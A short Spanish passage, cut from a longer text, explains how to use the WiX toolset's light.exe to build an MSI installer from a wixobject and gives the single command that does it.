siguiente: +Además, se utilizará light.exe, otra herramienta de wixtools, para crear el archivo MSI a partir del wixobject. El comando que se ejecutará es el siguiente: ``` light.exe -out C:\tm\Ethereal\rick.msi C:\tmp\wix ```